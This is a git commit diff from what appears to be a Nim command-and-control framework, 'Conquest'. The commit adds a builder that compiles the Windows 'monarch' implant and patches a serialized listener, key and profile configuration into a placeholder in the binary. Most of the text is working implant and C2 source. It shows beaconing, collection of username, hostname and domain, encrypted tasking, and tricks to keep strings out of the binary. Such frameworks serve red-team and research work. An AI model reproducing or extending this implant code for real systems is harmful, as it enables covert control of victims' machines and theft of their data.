Implemented profile embedding via patching a placeholder in the agent executable. Agent correctly deserializes and parses the profile and listener configuration.
This commit is contained in:
@@ -6,7 +6,5 @@ nim --os:windows \
|
|||||||
--gcc.exe:x86_64-w64-mingw32-gcc \
|
--gcc.exe:x86_64-w64-mingw32-gcc \
|
||||||
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
|
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
|
||||||
-d:release \
|
-d:release \
|
||||||
--outdir:"$CONQUEST_ROOT/bin" \
|
|
||||||
-o:"monarch.x64.exe" \
|
|
||||||
-d:agent \
|
-d:agent \
|
||||||
c $CONQUEST_ROOT/src/agent/main.nim
|
c $CONQUEST_ROOT/src/agent/main.nim
|
||||||
|
|||||||
@@ -1,15 +1,43 @@
|
|||||||
import parsetoml, base64, system
|
import parsetoml, base64, system
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto, serialize]
|
||||||
|
|
||||||
const ListenerUuid {.strdefine.}: string = ""
|
const CONFIGURATION {.strdefine.}: string = ""
|
||||||
const Octet1 {.intdefine.}: int = 0
|
|
||||||
const Octet2 {.intdefine.}: int = 0
|
proc deserializeConfiguration(config: string): AgentCtx =
|
||||||
const Octet3 {.intdefine.}: int = 0
|
|
||||||
const Octet4 {.intdefine.}: int = 0
|
var unpacker = Unpacker.init(config)
|
||||||
const ListenerPort {.intdefine.}: int = 5555
|
|
||||||
const SleepDelay {.intdefine.}: int = 10
|
var agentKeyPair = generateKeyPair()
|
||||||
const ServerPublicKey {.strdefine.}: string = ""
|
|
||||||
const ProfileString {.strdefine.}: string = ""
|
var ctx = new AgentCtx
|
||||||
|
ctx.agentId = generateUUID()
|
||||||
|
ctx.agentPublicKey = agentKeyPair.publicKey
|
||||||
|
|
||||||
|
while unpacker.getPosition() != config.len():
|
||||||
|
|
||||||
|
let
|
||||||
|
configType = cast[ConfigType](unpacker.getUint8())
|
||||||
|
length = int(unpacker.getUint32())
|
||||||
|
data = unpacker.getBytes(length)
|
||||||
|
|
||||||
|
case configType:
|
||||||
|
of CONFIG_LISTENER_UUID:
|
||||||
|
ctx.listenerId = Uuid.toString(Bytes.toUint32(data))
|
||||||
|
of CONFIG_LISTENER_IP:
|
||||||
|
ctx.ip = Bytes.toString(data)
|
||||||
|
of CONFIG_LISTENER_PORT:
|
||||||
|
ctx.port = int(Bytes.toUint32(data))
|
||||||
|
of CONFIG_SLEEP_DELAY:
|
||||||
|
ctx.sleep = int(Bytes.toUint32(data))
|
||||||
|
of CONFIG_PUBLIC_KEY:
|
||||||
|
let serverPublicKey = Bytes.toString(data).toKey()
|
||||||
|
ctx.sessionKey = deriveSessionKey(agentKeyPair, serverPublicKey)
|
||||||
|
of CONFIG_PROFILE:
|
||||||
|
ctx.profile = parseString(Bytes.toString(data))
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
echo "[+] Profile configuration deserialized."
|
||||||
|
return ctx
|
||||||
|
|
||||||
proc init*(T: type AgentCtx): AgentCtx =
|
proc init*(T: type AgentCtx): AgentCtx =
|
||||||
|
|
||||||
@@ -17,39 +45,30 @@ proc init*(T: type AgentCtx): AgentCtx =
|
|||||||
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
||||||
# This configuration file can be dynamically generated from the teamserver management interface
|
# This configuration file can be dynamically generated from the teamserver management interface
|
||||||
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
||||||
when not ( defined(ListenerUuid) or
|
when not defined(CONFIGURATION):
|
||||||
defined(Octet1) or
|
|
||||||
defined(Octet2) or
|
|
||||||
defined(Octet3) or
|
|
||||||
defined(Octet4) or
|
|
||||||
defined(ListenerPort) or
|
|
||||||
defined(SleepDelay) or
|
|
||||||
defined(ServerPublicKey) or
|
|
||||||
defined(ProfilePath)):
|
|
||||||
raise newException(CatchableError, "Missing agent configuration.")
|
raise newException(CatchableError, "Missing agent configuration.")
|
||||||
|
|
||||||
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
|
return deserializeConfiguration(CONFIGURATION)
|
||||||
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
|
||||||
|
|
||||||
# Create agent configuration
|
# Create agent configuration
|
||||||
var agentKeyPair = generateKeyPair()
|
# var agentKeyPair = generateKeyPair()
|
||||||
let serverPublicKey = decode(ServerPublicKey).toKey()
|
# let serverPublicKey = decode(ServerPublicKey).toKey()
|
||||||
|
|
||||||
let ctx = AgentCtx(
|
# let ctx = AgentCtx(
|
||||||
agentId: generateUUID(),
|
# agentId: generateUUID(),
|
||||||
listenerId: ListenerUuid,
|
# listenerId: ListenerUuid,
|
||||||
ip: address,
|
# ip: address,
|
||||||
port: ListenerPort,
|
# port: ListenerPort,
|
||||||
sleep: SleepDelay,
|
# sleep: SleepDelay,
|
||||||
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
|
# sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
|
||||||
agentPublicKey: agentKeyPair.publicKey,
|
# agentPublicKey: agentKeyPair.publicKey,
|
||||||
profile: parseString(decode(ProfileString))
|
# profile: parseString(decode(ProfileString))
|
||||||
)
|
# )
|
||||||
|
|
||||||
# Cleanup agent's secret key
|
# # Cleanup agent's secret key
|
||||||
wipeKey(agentKeyPair.privateKey)
|
# wipeKey(agentKeyPair.privateKey)
|
||||||
|
|
||||||
return ctx
|
# return ctx
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] " & err.msg
|
echo "[-] " & err.msg
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@@ -10,12 +10,12 @@ proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
|
|||||||
packetType: cast[uint8](MSG_HEARTBEAT),
|
packetType: cast[uint8](MSG_HEARTBEAT),
|
||||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||||
size: 0'u32,
|
size: 0'u32,
|
||||||
agentId: uuidToUint32(ctx.agentId),
|
agentId: string.toUuid(ctx.agentId),
|
||||||
seqNr: 0'u32,
|
seqNr: 0'u32,
|
||||||
iv: generateIV(),
|
iv: generateIV(),
|
||||||
gmac: default(AuthenticationTag)
|
gmac: default(AuthenticationTag)
|
||||||
),
|
),
|
||||||
listenerId: uuidToUint32(ctx.listenerId),
|
listenerId: string.toUuid(ctx.listenerId),
|
||||||
timestamp: uint32(now().toTime().toUnix())
|
timestamp: uint32(now().toTime().toUnix())
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -201,14 +201,14 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
|||||||
packetType: cast[uint8](MSG_REGISTER),
|
packetType: cast[uint8](MSG_REGISTER),
|
||||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||||
size: 0'u32,
|
size: 0'u32,
|
||||||
agentId: uuidToUint32(ctx.agentId),
|
agentId: string.toUuid(ctx.agentId),
|
||||||
seqNr: nextSequence(uuidToUint32(ctx.agentId)),
|
seqNr: nextSequence(string.toUuid(ctx.agentId)),
|
||||||
iv: generateIV(),
|
iv: generateIV(),
|
||||||
gmac: default(AuthenticationTag)
|
gmac: default(AuthenticationTag)
|
||||||
),
|
),
|
||||||
agentPublicKey: ctx.agentPublicKey,
|
agentPublicKey: ctx.agentPublicKey,
|
||||||
metadata: AgentMetadata(
|
metadata: AgentMetadata(
|
||||||
listenerId: uuidToUint32(ctx.listenerId),
|
listenerId: string.toUuid(ctx.listenerId),
|
||||||
username: string.toBytes(getUsername()),
|
username: string.toBytes(getUsername()),
|
||||||
hostname: string.toBytes(getHostname()),
|
hostname: string.toBytes(getHostname()),
|
||||||
domain: string.toBytes(getDomain()),
|
domain: string.toBytes(getDomain()),
|
||||||
|
|||||||
@@ -69,6 +69,9 @@ proc init*(T: type Unpacker, data: string): Unpacker =
|
|||||||
result.stream = newStringStream(data)
|
result.stream = newStringStream(data)
|
||||||
result.position = 0
|
result.position = 0
|
||||||
|
|
||||||
|
proc getPosition*(unpacker: Unpacker): int =
|
||||||
|
return unpacker.position
|
||||||
|
|
||||||
proc getUint8*(unpacker: Unpacker): uint8 =
|
proc getUint8*(unpacker: Unpacker): uint8 =
|
||||||
result = unpacker.stream.readUint8()
|
result = unpacker.stream.readUint8()
|
||||||
unpacker.position += 1
|
unpacker.position += 1
|
||||||
|
|||||||
@@ -55,8 +55,17 @@ type
|
|||||||
RESULT_BINARY = 1'u8
|
RESULT_BINARY = 1'u8
|
||||||
RESULT_NO_OUTPUT = 2'u8
|
RESULT_NO_OUTPUT = 2'u8
|
||||||
|
|
||||||
|
ConfigType* = enum
|
||||||
|
CONFIG_LISTENER_UUID = 0'u8
|
||||||
|
CONFIG_LISTENER_IP = 1'u8
|
||||||
|
CONFIG_LISTENER_PORT = 2'u8
|
||||||
|
CONFIG_SLEEP_DELAY = 3'u8
|
||||||
|
CONFIG_PUBLIC_KEY = 4'u8
|
||||||
|
CONFIG_PROFILE = 5'u8
|
||||||
|
|
||||||
# Encryption
|
# Encryption
|
||||||
type
|
type
|
||||||
|
Uuid* = uint32
|
||||||
Bytes* = seq[byte]
|
Bytes* = seq[byte]
|
||||||
Key* = array[32, byte]
|
Key* = array[32, byte]
|
||||||
Iv* = array[12, byte]
|
Iv* = array[12, byte]
|
||||||
@@ -70,7 +79,7 @@ type
|
|||||||
packetType*: uint8 # [1 byte ] message type
|
packetType*: uint8 # [1 byte ] message type
|
||||||
flags*: uint16 # [2 bytes ] message flags
|
flags*: uint16 # [2 bytes ] message flags
|
||||||
size*: uint32 # [4 bytes ] size of the payload body
|
size*: uint32 # [4 bytes ] size of the payload body
|
||||||
agentId*: uint32 # [4 bytes ] agent id, used as AAD for encryptio
|
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio
|
||||||
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
|
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
|
||||||
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
|
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
|
||||||
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
|
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
|
||||||
@@ -81,8 +90,8 @@ type
|
|||||||
|
|
||||||
Task* = object
|
Task* = object
|
||||||
header*: Header
|
header*: Header
|
||||||
taskId*: uint32 # [4 bytes ] task id
|
taskId*: Uuid # [4 bytes ] task id
|
||||||
listenerId*: uint32 # [4 bytes ] listener id
|
listenerId*: Uuid # [4 bytes ] listener id
|
||||||
timestamp*: uint32 # [4 bytes ] unix timestamp
|
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||||
command*: uint16 # [2 bytes ] command id
|
command*: uint16 # [2 bytes ] command id
|
||||||
argCount*: uint8 # [1 byte ] number of arguments
|
argCount*: uint8 # [1 byte ] number of arguments
|
||||||
@@ -90,8 +99,8 @@ type
|
|||||||
|
|
||||||
TaskResult* = object
|
TaskResult* = object
|
||||||
header*: Header
|
header*: Header
|
||||||
taskId*: uint32 # [4 bytes ] task id
|
taskId*: Uuid # [4 bytes ] task id
|
||||||
listenerId*: uint32 # [4 bytes ] listener id
|
listenerId*: Uuid # [4 bytes ] listener id
|
||||||
timestamp*: uint32 # [4 bytes ] unix timestamp
|
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||||
command*: uint16 # [2 bytes ] command id
|
command*: uint16 # [2 bytes ] command id
|
||||||
status*: uint8 # [1 byte ] success flag
|
status*: uint8 # [1 byte ] success flag
|
||||||
@@ -102,16 +111,16 @@ type
|
|||||||
# Checkin binary structure
|
# Checkin binary structure
|
||||||
type
|
type
|
||||||
Heartbeat* = object
|
Heartbeat* = object
|
||||||
header*: Header # [48 bytes ] fixed header
|
header*: Header # [48 bytes ] fixed header
|
||||||
listenerId*: uint32 # [4 bytes ] listener id
|
listenerId*: Uuid # [4 bytes ] listener id
|
||||||
timestamp*: uint32 # [4 bytes ] unix timestamp
|
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||||
|
|
||||||
# Registration binary structure
|
# Registration binary structure
|
||||||
type
|
type
|
||||||
|
|
||||||
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
|
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
|
||||||
AgentMetadata* = object
|
AgentMetadata* = object
|
||||||
listenerId*: uint32
|
listenerId*: Uuid
|
||||||
username*: seq[byte]
|
username*: seq[byte]
|
||||||
hostname*: seq[byte]
|
hostname*: seq[byte]
|
||||||
domain*: seq[byte]
|
domain*: seq[byte]
|
||||||
@@ -157,7 +166,7 @@ type
|
|||||||
port*: int
|
port*: int
|
||||||
protocol*: Protocol
|
protocol*: Protocol
|
||||||
|
|
||||||
# Server context structure
|
# Server context structures
|
||||||
type
|
type
|
||||||
KeyPair* = object
|
KeyPair* = object
|
||||||
privateKey*: Key
|
privateKey*: Key
|
||||||
@@ -174,8 +183,6 @@ type
|
|||||||
keyPair*: KeyPair
|
keyPair*: KeyPair
|
||||||
profile*: Profile
|
profile*: Profile
|
||||||
|
|
||||||
# Agent config
|
|
||||||
type
|
|
||||||
AgentCtx* = ref object
|
AgentCtx* = ref object
|
||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
@@ -201,4 +208,4 @@ type
|
|||||||
example*: string
|
example*: string
|
||||||
arguments*: seq[Argument]
|
arguments*: seq[Argument]
|
||||||
dispatchMessage*: string
|
dispatchMessage*: string
|
||||||
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
|
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
|
||||||
|
|||||||
@@ -10,10 +10,10 @@ proc generateUUID*(): string =
|
|||||||
raise newException(CatchableError, "Failed to generate UUID.")
|
raise newException(CatchableError, "Failed to generate UUID.")
|
||||||
return uuid.toHex().toUpperAscii()
|
return uuid.toHex().toUpperAscii()
|
||||||
|
|
||||||
proc uuidToUint32*(uuid: string): uint32 =
|
proc toUuid*(T: type string, uuid: string): Uuid =
|
||||||
return fromHex[uint32](uuid)
|
return fromHex[uint32](uuid)
|
||||||
|
|
||||||
proc uuidToString*(uuid: uint32): string =
|
proc toString*(T: type Uuid, uuid: Uuid): string =
|
||||||
return uuid.toHex(8)
|
return uuid.toHex(8)
|
||||||
|
|
||||||
proc toString*(T: type Bytes, data: seq[byte]): string =
|
proc toString*(T: type Bytes, data: seq[byte]): string =
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
|
|||||||
|
|
||||||
import ../[utils, globals]
|
import ../[utils, globals]
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../message/packer
|
import ../protocol/packer
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -40,8 +40,8 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
|
|||||||
# Deserialize checkin request to obtain agentId and listenerId
|
# Deserialize checkin request to obtain agentId and listenerId
|
||||||
let
|
let
|
||||||
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
|
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
|
||||||
agentId = uuidToString(request.header.agentId)
|
agentId = Uuid.toString(request.header.agentId)
|
||||||
listenerId = uuidToString(request.listenerId)
|
listenerId = Uuid.toString(request.listenerId)
|
||||||
timestamp = request.timestamp
|
timestamp = request.timestamp
|
||||||
|
|
||||||
var result: seq[seq[byte]]
|
var result: seq[seq[byte]]
|
||||||
@@ -72,9 +72,9 @@ proc handleResult*(resultData: seq[byte]) =
|
|||||||
|
|
||||||
let
|
let
|
||||||
taskResult = cq.deserializeTaskResult(resultData)
|
taskResult = cq.deserializeTaskResult(resultData)
|
||||||
taskId = uuidToString(taskResult.taskId)
|
taskId = Uuid.toString(taskResult.taskId)
|
||||||
agentId = uuidToString(taskResult.header.agentId)
|
agentId = Uuid.toString(taskResult.header.agentId)
|
||||||
listenerId = uuidToString(taskResult.listenerId)
|
listenerId = Uuid.toString(taskResult.listenerId)
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.")
|
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.")
|
||||||
|
|||||||
@@ -34,6 +34,7 @@ Commands:
|
|||||||
info Display details for a specific agent.
|
info Display details for a specific agent.
|
||||||
kill Terminate the connection of an active listener and remove it from the interface.
|
kill Terminate the connection of an active listener and remove it from the interface.
|
||||||
interact Interact with an active agent.
|
interact Interact with an active agent.
|
||||||
|
build Generate a new agent to connect to an active listener.
|
||||||
|
|
||||||
Options:
|
Options:
|
||||||
-h, --help""")
|
-h, --help""")
|
||||||
@@ -124,65 +125,3 @@ proc agentInteract*(cq: Conquest, name: string) =
|
|||||||
|
|
||||||
cq.interactAgent = nil
|
cq.interactAgent = nil
|
||||||
|
|
||||||
# Agent generation
|
|
||||||
proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
|
||||||
|
|
||||||
# Verify that listener exists
|
|
||||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
|
||||||
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
|
|
||||||
return
|
|
||||||
|
|
||||||
let listener = cq.listeners[listener.toUpperAscii]
|
|
||||||
|
|
||||||
# Create/overwrite nim.cfg file to set agent configuration
|
|
||||||
let AgentCtxFile = fmt"../src/agent/nim.cfg"
|
|
||||||
|
|
||||||
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
|
||||||
let (first, second, third, fourth) = parseOctets(listener.address)
|
|
||||||
|
|
||||||
# Covert the servers's public X25519 key to as base64 string
|
|
||||||
let publicKey = encode(cq.keyPair.publicKey)
|
|
||||||
let profileString = encode(cq.profile.toTomlString())
|
|
||||||
|
|
||||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
|
||||||
let config = fmt"""
|
|
||||||
# Agent configuration
|
|
||||||
-d:ListenerUuid="{listener.listenerId}"
|
|
||||||
-d:Octet1="{first}"
|
|
||||||
-d:Octet2="{second}"
|
|
||||||
-d:Octet3="{third}"
|
|
||||||
-d:Octet4="{fourth}"
|
|
||||||
-d:ListenerPort={listener.port}
|
|
||||||
-d:SleepDelay={sleep}
|
|
||||||
-d:ServerPublicKey="{publicKey}"
|
|
||||||
-d:ProfileString="{profileString}"
|
|
||||||
""".replace(" ", "")
|
|
||||||
writeFile(AgentCtxFile, config)
|
|
||||||
|
|
||||||
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
|
|
||||||
|
|
||||||
# Build agent by executing the ./build.sh script on the system.
|
|
||||||
let agentBuildScript = fmt"../src/agent/build.sh"
|
|
||||||
|
|
||||||
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...")
|
|
||||||
|
|
||||||
try:
|
|
||||||
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
|
|
||||||
let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
|
|
||||||
let outputStream = process.outputStream
|
|
||||||
|
|
||||||
var line: string
|
|
||||||
while outputStream.readLine(line):
|
|
||||||
cq.writeLine(line)
|
|
||||||
|
|
||||||
let exitCode = process.waitForExit()
|
|
||||||
|
|
||||||
# Check if the build succeeded or not
|
|
||||||
if exitCode == 0:
|
|
||||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Agent payload generated successfully.")
|
|
||||||
else:
|
|
||||||
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode)
|
|
||||||
|
|
||||||
except CatchableError as err:
|
|
||||||
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)
|
|
||||||
|
|
||||||
|
|||||||
148
src/server/core/builder.nim
Normal file
148
src/server/core/builder.nim
Normal file
@@ -0,0 +1,148 @@
|
|||||||
|
import terminal, strformat, strutils, sequtils, tables, times, system, osproc, streams, base64, parsetoml
|
||||||
|
|
||||||
|
import ../utils
|
||||||
|
import ../../common/[types, utils, profile, serialize]
|
||||||
|
import ../db/database
|
||||||
|
|
||||||
|
const PLACEHOLDER = "PLACEHOLDER"
|
||||||
|
|
||||||
|
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[byte] =
|
||||||
|
|
||||||
|
var packer = Packer.init()
|
||||||
|
|
||||||
|
# Add listener configuration
|
||||||
|
packer.add(uint8(CONFIG_LISTENER_UUID))
|
||||||
|
packer.add(uint32(sizeof(uint32)))
|
||||||
|
packer.add(string.toUuid(listener.listenerId))
|
||||||
|
|
||||||
|
packer.add(uint8(CONFIG_LISTENER_IP))
|
||||||
|
packer.add(uint32(listener.address.len))
|
||||||
|
packer.addData(string.toBytes(listener.address))
|
||||||
|
|
||||||
|
packer.add(uint8(CONFIG_LISTENER_PORT))
|
||||||
|
packer.add(uint32(sizeof(uint32)))
|
||||||
|
packer.add(uint32(listener.port))
|
||||||
|
|
||||||
|
packer.add(uint8(CONFIG_SLEEP_DELAY))
|
||||||
|
packer.add(uint32(sizeof(uint32)))
|
||||||
|
packer.add(uint32(sleep))
|
||||||
|
|
||||||
|
# Add key exchange information
|
||||||
|
packer.add(uint8(CONFIG_PUBLIC_KEY))
|
||||||
|
packer.add(uint32(sizeof(Key)))
|
||||||
|
packer.addData(cq.keyPair.publicKey)
|
||||||
|
|
||||||
|
# Add C2 profile string
|
||||||
|
let profileString = cq.profile.toTomlString()
|
||||||
|
packer.add(uint8(CONFIG_PROFILE))
|
||||||
|
packer.add(uint32(profileString.len))
|
||||||
|
packer.addData(string.toBytes(profileString))
|
||||||
|
|
||||||
|
let data = packer.pack()
|
||||||
|
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Profile configuration serialized.")
|
||||||
|
return data
|
||||||
|
|
||||||
|
proc compile(cq: Conquest, placeholderLength: int): string =
|
||||||
|
|
||||||
|
let
|
||||||
|
cqDir = cq.profile.getString("conquest_directory")
|
||||||
|
configFile = fmt"{cqDir}/src/agent/nim.cfg"
|
||||||
|
exeFile = fmt"{cqDir}/bin/monarch.x64.exe"
|
||||||
|
agentBuildScript = fmt"{cqDir}/src/agent/build.sh"
|
||||||
|
|
||||||
|
# Create/overwrite nim.cfg file to set placeholder for agent configuration
|
||||||
|
let config = fmt"""
|
||||||
|
# Agent configuration
|
||||||
|
-d:CONFIGURATION={PLACEHOLDER & "A".repeat(placeholderLength - (2 * len(PLACEHOLDER))) & PLACEHOLDER}
|
||||||
|
-o:"{exeFile}"
|
||||||
|
""".replace(" ", "")
|
||||||
|
|
||||||
|
writeFile(configFile, config)
|
||||||
|
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
|
||||||
|
|
||||||
|
# Build agent by executing the ./build.sh script on the system.
|
||||||
|
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Compiling agent.")
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
|
||||||
|
let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
|
||||||
|
let outputStream = process.outputStream
|
||||||
|
|
||||||
|
var line: string
|
||||||
|
while outputStream.readLine(line):
|
||||||
|
cq.writeLine(line)
|
||||||
|
|
||||||
|
let exitCode = process.waitForExit()
|
||||||
|
|
||||||
|
# Check if the build succeeded or not
|
||||||
|
if exitCode == 0:
|
||||||
|
cq.writeLine(fgGreen, "[*] ", resetStyle, "Agent payload generated successfully.")
|
||||||
|
return exeFile
|
||||||
|
else:
|
||||||
|
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bool =
|
||||||
|
|
||||||
|
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Patching profile configuration into agent.")
|
||||||
|
|
||||||
|
try:
|
||||||
|
var exeBytes = readFile(unpatchedExePath)
|
||||||
|
|
||||||
|
# Find placeholder
|
||||||
|
let placeholderPos = exeBytes.find(PLACEHOLDER)
|
||||||
|
if placeholderPos == -1:
|
||||||
|
raise newException(CatchableError, "Placeholder not found.")
|
||||||
|
|
||||||
|
cq.writeLine(fgBlack, styleBright, "[+] ", resetStyle, fmt"Placeholder found at offset {placeholderPos}.")
|
||||||
|
# cq.writeLine(exeBytes[placeholderPos..placeholderPos + len(configuration)])
|
||||||
|
|
||||||
|
# Patch placeholder bytes
|
||||||
|
for i, c in Bytes.toString(configuration):
|
||||||
|
exeBytes[placeholderPos + i] = c
|
||||||
|
|
||||||
|
writeFile(unpatchedExePath, exeBytes)
|
||||||
|
cq.writeLine(fgGreen, "[+] ", resetStyle, fmt"Agent payload patched successfully: {unpatchedExePath}.")
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)
|
||||||
|
return false
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
# Agent generation
|
||||||
|
proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} =
|
||||||
|
|
||||||
|
# Verify that listener exists
|
||||||
|
if not cq.dbListenerExists(listener.toUpperAscii):
|
||||||
|
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
|
||||||
|
return false
|
||||||
|
|
||||||
|
let listener = cq.listeners[listener.toUpperAscii]
|
||||||
|
|
||||||
|
var config: seq[byte]
|
||||||
|
if sleep.isEmptyOrWhitespace():
|
||||||
|
# If no sleep value has been defined, take the default from the profile
|
||||||
|
config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"))
|
||||||
|
else:
|
||||||
|
config = cq.serializeConfiguration(listener, parseInt(sleep))
|
||||||
|
|
||||||
|
let unpatchedExePath = cq.compile(config.len)
|
||||||
|
if unpatchedExePath.isEmptyOrWhitespace():
|
||||||
|
return false
|
||||||
|
|
||||||
|
if not cq.patch(unpatchedExePath, config):
|
||||||
|
return false
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
import prompt, terminal, argparse, parsetoml
|
import prompt, terminal, argparse, parsetoml
|
||||||
import strutils, strformat, times, system, tables
|
import strutils, strformat, times, system, tables
|
||||||
|
|
||||||
import ./[agent, listener]
|
import ./[agent, listener, builder]
|
||||||
import ../[globals, utils]
|
import ../[globals, utils]
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../../common/[types, utils, crypto, profile]
|
import ../../common/[types, utils, crypto, profile]
|
||||||
@@ -53,8 +53,8 @@ var parser = newParser:
|
|||||||
command("build"):
|
command("build"):
|
||||||
help("Generate a new agent to connect to an active listener.")
|
help("Generate a new agent to connect to an active listener.")
|
||||||
option("-l", "--listener", help="Name of the listener.", required=true)
|
option("-l", "--listener", help="Name of the listener.", required=true)
|
||||||
option("-s", "--sleep", help="Sleep delay in seconds.", default=some("10") )
|
option("-s", "--sleep", help="Sleep delay in seconds." )
|
||||||
option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
|
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
|
||||||
|
|
||||||
command("help"):
|
command("help"):
|
||||||
nohelpflag()
|
nohelpflag()
|
||||||
@@ -104,7 +104,7 @@ proc handleConsoleCommand(cq: Conquest, args: string) =
|
|||||||
of "interact":
|
of "interact":
|
||||||
cq.agentInteract(opts.agent.get.interact.get.name)
|
cq.agentInteract(opts.agent.get.interact.get.name)
|
||||||
of "build":
|
of "build":
|
||||||
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.payload)
|
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep)
|
||||||
else:
|
else:
|
||||||
cq.agentUsage()
|
cq.agentUsage()
|
||||||
|
|
||||||
@@ -129,16 +129,13 @@ proc header() =
|
|||||||
|
|
||||||
proc init*(T: type Conquest, profile: Profile): Conquest =
|
proc init*(T: type Conquest, profile: Profile): Conquest =
|
||||||
var cq = new Conquest
|
var cq = new Conquest
|
||||||
var prompt = Prompt.init()
|
cq.prompt = Prompt.init()
|
||||||
cq.prompt = prompt
|
|
||||||
cq.listeners = initTable[string, Listener]()
|
cq.listeners = initTable[string, Listener]()
|
||||||
cq.agents = initTable[string, Agent]()
|
cq.agents = initTable[string, Agent]()
|
||||||
cq.interactAgent = nil
|
cq.interactAgent = nil
|
||||||
|
cq.profile = profile
|
||||||
cq.keyPair = loadKeyPair(profile.getString("private_key_file"))
